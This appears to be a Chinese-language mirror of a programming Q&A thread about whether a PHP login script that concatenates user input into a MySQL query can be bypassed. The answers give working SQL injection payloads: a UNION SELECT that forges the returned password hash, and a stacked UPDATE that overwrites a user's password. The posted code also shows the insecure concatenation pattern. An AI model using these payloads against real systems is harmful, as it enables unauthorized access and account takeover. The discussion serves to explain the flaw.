簡體   English   中英

sql注入更改返回值

[英]sql injection change returned values

我最近想過這樣的事情:

$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);

if (myql_num_rows($result) != 1) {
//Error
}

$data = mysql_fetch_array($result);

if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}

即使沒有使用參數化查詢或至少轉義,我也想不到一個適當的sql注入,你可以通過它注入Welcome點。 您可能需要修改返回的密碼,其md5值可以用作密碼。

任何想法,如果這是可能的?

對用戶使用以下值:

obviouslyinvalidusername' union select MD5('password123') as password --

然后密碼password123應該進行身份驗證。 我不知道此時您將登錄哪個用戶帳戶,因為該部分邏輯未顯示。

"'; UPDATE user SET password=MD5('fakepass') where username='username'"

這會將任意密碼作為md5哈希插入數據庫。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM